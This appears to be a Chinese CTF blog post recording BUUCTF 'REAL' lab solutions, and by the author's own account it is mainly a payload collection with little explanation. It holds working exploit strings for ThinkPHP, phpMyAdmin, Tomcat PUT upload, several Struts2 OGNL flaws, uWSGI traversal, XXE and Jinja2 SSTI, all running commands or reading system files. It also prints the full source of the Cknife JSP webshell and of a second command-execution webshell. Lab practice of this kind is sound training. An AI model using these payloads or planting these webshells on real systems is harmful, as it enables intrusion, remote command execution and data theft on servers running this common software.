BUUCTF REAL

BUUCTF REAL(持续更新~)

呆在家里要闲出屁来了,,废人一个了,,,,
flag好像都在系统环境变量中,phpinfo中就能看见,,,,
这里就不注重解释过程了,主要就是记录一下漏洞以及payload,,,,

[PHP]XXE

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞
payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
	<!ELEMENT name ANY >
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
	<name>&xxe;</name>
</root>

关于更多的XXE漏洞利用可以看看这篇文章:XXE漏洞利用技巧:从XML到远程代码执行

[ThinkPHP]5-Rce

Thinkphp5 5.0.22/5.1.29远程代码执行漏洞:

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

通过读取phpinfo,获取到flag!!

[ThinkPHP]5.0.23-Rce

Thinkphp 5.0.23远程代码执行漏洞:

POST /?s=captcha

_method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=-1&method=get

通过读取phpinfo,获取到flag!!
关于thinkphp5的漏洞github上有人已经收集并集中在一起了,
附上链接:关于ThinkPHP框架的历史漏洞分析集合
thinkphp检测工具:TPscan,一键ThinkPHP漏洞检测,基于Python3
更多的thinkphp5漏洞文章:先知社区

[PHPMYADMIN]CVE-2018-12613

phpmyadmin 4.8.1 远程文件包含漏洞 (CVE-2018-12613)
有一道CTF题目就是利用这个漏洞:BUUCTF web WarmUp
payload:

http://node3.buuoj.cn:29957/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可以看见已经读取到文件内容了:
在这里插入图片描述
当然这里是无法执行命令的,那么我们也就无法执行phpinfo(),也就无法获取到flag
看github我们可以知道,我们执行SELECT '<?=phpinfo()?>';,然后去查看session:
在这里插入图片描述
这个时候我们就可以去包含session文件了,这样就会执行session文件中的php代码:
在这里插入图片描述
还有一种方法,就是如果你知道/MySQL/data/的路径的话也能够实现文件包含进行代码执行
例如这篇文章:phpmyadmin4.8.1后台getshell

[ThinkPHP]2-Rce

ThinkPHP 2.x 的任意代码执行漏洞
在ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

这样的代码导致用户的输入能被用户所控制,参数被插入双引号中执行,造成任意代码执行漏洞
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞
payload:

http://node3.buuoj.cn:29851/index.php?s=/index/index/name/$%7B@phpinfo()%7D

会显示出phpinfo()页面:
在这里插入图片描述
我们就可以利用任意代码执行漏洞进行不可描述的操作!

[Tomcat]CVE-2017-12615

实际上就是PUT方法的Tomcat任意写文件漏洞(CVE-2017-12615)
根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时
即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码
尽管Tomcat在某种程度上检查了文件后缀(不能直接编写jsp)
但我们仍然可以通过某些文件系统功能(例如/在Linux中使用)来绕过该限制
在这里插入图片描述
成功写入文件:
在这里插入图片描述
上传菜刀自带的jsp木马,密码Cknife:

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
	String Pwd = "Cknife";
	String cs = "UTF-8";
	
	String EC(String s) throws Exception {
		return new String(s.getBytes("ISO-8859-1"),cs);
	}
	
	Connection GC(String s) throws Exception {
		String[] x = s.trim().split("choraheiheihei");
		Class.forName(x[0].trim());
		if(x[1].indexOf("jdbc:oracle")!=-1){
			return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
		}else{
			Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
			if (x.length > 4) {
				c.setCatalog(x[4]);
			}
			return c;
		}
	}
	
	void AA(StringBuffer sb) throws Exception {
		File k = new File("");
		File r[] = k.listRoots();
		for (int i = 0; i < r.length; i++) {
			sb.append(r[i].toString().substring(0, 2));
		}
	}
	
	void BB(String s, StringBuffer sb) throws Exception {
		File oF = new File(s), l[] = oF.listFiles();
		String sT, sQ, sF = "";
		java.util.Date dt;
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		for (int i = 0; i < l.length; i++) {
			dt = new java.util.Date(l[i].lastModified());
			sT = fm.format(dt);
			sQ = l[i].canRead() ? "R" : "";
			sQ += l[i].canWrite() ? " W" : "";
			if (l[i].isDirectory()) {
				sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
			} else {
				sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
			}
		}
		sb.append(sF);
	}
	
	void EE(String s) throws Exception {
		File f = new File(s);
		if (f.isDirectory()) {
			File x[] = f.listFiles();
			for (int k = 0; k < x.length; k++) {
				if (!x[k].delete()) {
					EE(x[k].getPath());
				}
			}
		}
		f.delete();
	}
	
	void FF(String s, HttpServletResponse r) throws Exception {
		int n;
		byte[] b = new byte[512];
		r.reset();
		ServletOutputStream os = r.getOutputStream();
		BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
		os.write(("->" + "|").getBytes(), 0, 3);
		while ((n = is.read(b, 0, 512)) != -1) {
			os.write(b, 0, n);
		}
		os.write(("|" + "<-").getBytes(), 0, 3);
		os.close();
		is.close();
	}
	
	void GG(String s, String d) throws Exception {
		String h = "0123456789ABCDEF";
		File f = new File(s);
		f.createNewFile();
		FileOutputStream os = new FileOutputStream(f);
		for (int i = 0; i < d.length(); i += 2) {
			os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
		}
		os.close();
	}
	
	void HH(String s, String d) throws Exception {
		File sf = new File(s), df = new File(d);
		if (sf.isDirectory()) {
			if (!df.exists()) {
				df.mkdir();
			}
			File z[] = sf.listFiles();
			for (int j = 0; j < z.length; j++) {
				HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
			}
		} else {
			FileInputStream is = new FileInputStream(sf);
			FileOutputStream os = new FileOutputStream(df);
			int n;
			byte[] b = new byte[512];
			while ((n = is.read(b, 0, 512)) != -1) {
				os.write(b, 0, n);
			}
			is.close();
			os.close();
		}
	}
	
	void II(String s, String d) throws Exception {
		File sf = new File(s), df = new File(d);
		sf.renameTo(df);
	}
	
	void JJ(String s) throws Exception {
		File f = new File(s);
		f.mkdir();
	}
	
	void KK(String s, String t) throws Exception {
		File f = new File(s);
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		java.util.Date dt = fm.parse(t);
		f.setLastModified(dt.getTime());
	}
	
	void LL(String s, String d) throws Exception {
		URL u = new URL(s);
		int n = 0;
		FileOutputStream os = new FileOutputStream(d);
		HttpURLConnection h = (HttpURLConnection) u.openConnection();
		InputStream is = h.getInputStream();
		byte[] b = new byte[512];
		while ((n = is.read(b)) != -1) {
			os.write(b, 0, n);
		}
		os.close();
		is.close();
		h.disconnect();
	}
	
	void MM(InputStream is, StringBuffer sb) throws Exception {
		String l;
		BufferedReader br = new BufferedReader(new InputStreamReader(is));
		while ((l = br.readLine()) != null) {
			sb.append(l + "\r\n");
		}
	}
	
	void NN(String s, StringBuffer sb) throws Exception {
		Connection c = GC(s);
		ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
		while (r.next()) {
			sb.append(r.getString(1) + "\t|\t\r\n");
		}
		r.close();
		c.close();
	}
	
	void OO(String s, StringBuffer sb) throws Exception {
		Connection c = GC(s);
		String[] x = s.trim().split("choraheiheihei");
		ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
		while (r.next()) {
			sb.append(r.getString("TABLE_NAME") + "\t|\t\r\n");
		}
		r.close();
		c.close();
	}
	
	void PP(String s, StringBuffer sb) throws Exception {
		String[] x = s.trim().split("\r\n");
		Connection c = GC(s);
		Statement m = c.createStatement(1005, 1007);
		ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
		ResultSetMetaData d = r.getMetaData();
		for (int i = 1; i <= d.getColumnCount(); i++) {
			sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
		}
		r.close();
		m.close();
		c.close();
	}
	
	void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
		Connection c = GC(s);
		Statement m = c.createStatement(1005, 1008);
		BufferedWriter bw = null;
		try {
			ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
			ResultSetMetaData d = r.getMetaData();
			int n = d.getColumnCount();
			for (int i = 1; i <= n; i++) {
				sb.append(d.getColumnName(i) + "\t|\t");
			}
			sb.append("\r\n");
			if(q.indexOf("--f:")!=-1){
				File file = new File(p);
				if(q.indexOf("-to:")==-1){
					file.mkdir();
				}
				bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
			}
			while (r.next()) {
				for (int i = 1; i <= n; i++) {
					if(q.indexOf("--f:")!=-1){
						bw.write(r.getObject(i)+""+"\t");
						bw.flush();
					}else{
						sb.append(r.getObject(i)+"" + "\t|\t");
					}
				}
				if(bw!=null){bw.newLine();}
				sb.append("\r\n");
			}
			r.close();
			if(bw!=null){bw.close();}
		} catch (Exception e) {
			sb.append("Result\t|\t\r\n");
			try {
				m.executeUpdate(q);
				sb.append("Execute Successfully!\t|\t\r\n");
			} catch (Exception ee) {
				sb.append(ee.toString() + "\t|\t\r\n");
			}
		}
		m.close();
		c.close();
	}
%>
<%


//String Z = EC(request.getParameter(Pwd) + "", cs);
	
	cs = request.getParameter("code") != null ? request.getParameter("code")+ "":cs;
	request.setCharacterEncoding(cs);
	response.setContentType("text/html;charset=" + cs);
	StringBuffer sb = new StringBuffer("");
if (request.getParameter(Pwd) != null) {

	try {
		String Z = EC(request.getParameter("action") + "");
		String z1 = EC(request.getParameter("z1") + "");
		String z2 = EC(request.getParameter("z2") + "");
		sb.append("->" + "|");
		String s = request.getSession().getServletContext().getRealPath("/");
		if (Z.equals("A")) {
			sb.append(s + "\t");
			if (!s.substring(0, 1).equals("/")) {
				AA(sb);
			}
		} else if (Z.equals("B")) {
			BB(z1, sb);
		} else if (Z.equals("C")) {
			String l = "";
			BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
			while ((l = br.readLine()) != null) {
				sb.append(l + "\r\n");
			}
			br.close();
		} else if (Z.equals("D")) {
			BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
			bw.write(z2);
			bw.close();
			sb.append("1");
		} else if (Z.equals("E")) {
			EE(z1);
			sb.append("1");
		} else if (Z.equals("F")) {
			FF(z1, response);
		} else if (Z.equals("G")) {
			GG(z1, z2);
			sb.append("1");
		} else if (Z.equals("H")) {
			HH(z1, z2);
			sb.append("1");
		} else if (Z.equals("I")) {
			II(z1, z2);
			sb.append("1");
		} else if (Z.equals("J")) {
			JJ(z1);
			sb.append("1");
		} else if (Z.equals("K")) {
			KK(z1, z2);
			sb.append("1");
		} else if (Z.equals("L")) {
			LL(z1, z2);
			sb.append("1");
		} else if (Z.equals("M")) {
			String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
			Process p = Runtime.getRuntime().exec(c);
			MM(p.getInputStream(), sb);
			MM(p.getErrorStream(), sb);
		} else if (Z.equals("N")) {
			NN(z1, sb);
		} else if (Z.equals("O")) {
			OO(z1, sb);
		} else if (Z.equals("P")) {
			PP(z1, sb);
		} else if (Z.equals("Q")) {
			QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
		}
	} catch (Exception e) {
		sb.append("ERROR" + ":// " + e.toString());
	}
	sb.append("|" + "<-");
	out.print(sb.toString());
}
%>

上传jsp木马菜刀连接,使用命令env查看环境变量找到flag:
在这里插入图片描述
也可以使用网上简单的代码执行木马:

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

照样可以得到:
在这里插入图片描述
参考链接:
Tomcat代码执行漏洞分析测试(附POC)
jsp小后门

[struts2]s2-013

struts2系列漏洞:Struts2系列命令执行漏洞
S2-013 / S2-014远程执行代码漏洞
受影响的版本:2.0.0-2.3.14.1
Struts2的标记<s:a>和<s:url>提供了includeParams属性,该属性的主要作用是了解是否包含http请求参数。

includeParams的允许值为:
无-网址中不包含任何参数(默认)
get-在URL中仅包含GET参数
全部-在网址中同时包含GET和POST参数

如果为includeParams=all,则此请求的GET和POST参数放在URL的GET参数上
在此过程中,参数将由OGNL表达式解析,导致命令执行
payload:

${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())}
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

都需要进行url编码进行传递,执行env命令得到flag:
在这里插入图片描述
用工具也可以扫描出来,不过漏洞编号好像不一样:
在这里插入图片描述

[struts2]s2-001

参考链接:S2-001远程执行代码漏洞

漏洞在于,当用户提交表单数据且验证失败时,服务器会使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据,例如在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

可以直接使用工具检测到:
在这里插入图片描述
payload:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

同样能够得到:
在这里插入图片描述

[struts2]s2-045

S2-045远程执行代码漏洞(CVE-2017-5638)
Apache Struts2的Jakarta Multipart解析器插件中容易出现远程执行代码漏洞
使用此插件上传文件时,攻击者可能会更改HTTP请求的Content-Type标头字段的值以触发此漏洞,从而导致远程执行代码
首先工具能够得到:
在这里插入图片描述
payload:

"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

进行抓包,修改content-Type:
在这里插入图片描述
参考文章:Apache Struts2 Remote Code Execution Vulnerability (S2-045)

[struts2]s2-007

S2-007远程执行代码漏洞
当 -validation.xml配置的验证规则时
如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串
然后执行OGNL表达式解析并返回
首先工具肯定能够解析:
在这里插入图片描述
payload:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

在年龄处提交payload,同样能够得到:
在这里插入图片描述

[struts2]s2-008

S2-008 涉及多个漏洞,buu上给了两个:

1、Struts2框架存在一个devmode模式,方便开发人员调试程序,但是默认devmode是不开启的
如果想要使用,需要手动修改参数,可以将struts.properties中的devmode设置为true,
或是在struts.xml中添加如下代码<constantname="struts.devMode" value="true" />
2、Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie
名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋

用工具两个都能出来:
在这里插入图片描述
payload:

http://node3.buuoj.cn:29985/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29

得到:
在这里插入图片描述

[PHPMYADMIN]CVE-2016-5734

在PHP5.4.7以前,preg_replace存在漏洞,可以\0进行截断
并将正则模式修改为e,众所周知,e模式的正则支持执行代码,从而导致命令执行
漏洞形成原理:phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
受影响的版本:
1、4.0.10.16之前的4.0.x版本
2、4.4.15.7之前的4.4.x版本
3、4.6.3之前的4.6.x版本(实际上是因为此版本需要PHP5.5 +,所以无法重现此漏洞)
漏洞利用需满足条件:
1、用户授权
2、phpmyadmin4.3.0-4.6.2
3、PHP 4.3.0-5.4.6
buu上的账号和密码都是root,所以我们利用CVE-2016-5734-poc直接打就行了
cmd执行:Python poc.py -u root --pwd="root" http://node3.buuoj.cn:25411 -c "system('env');"
得到flag:
在这里插入图片描述

[uwsgi]CVE-2018-7490

uWSGI PHP目录遍历漏洞(CVE-2018-7490)
uWSGI 2.0.17之前的PHP插件没有正确处理文档根的检测
导致通过使用…%2f读取或运行文档根目录以外的文件
payload:

http://node3.buuoj.cn:29461/..%2f..%2f..%2f..%2f..%2fetc/passwd

得到:
在这里插入图片描述
flag在开始页面的phpinfo中

[Flask]SSTI

Flask(Jinja2) 服务端模板注入漏洞
由于开发人员的代码书写不当造成的漏洞,能够由用户控制内容所导致的,过度的信任了用户
漏洞原理以及应用:Flask(Jinja2) 服务端模板注入漏洞(SSTI)
payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()") }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

都能执行命令,方法大致都差不多,,,,

发布了206 篇原创文章 · 获赞 130 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/qq_42967398/article/details/103672259
今日推荐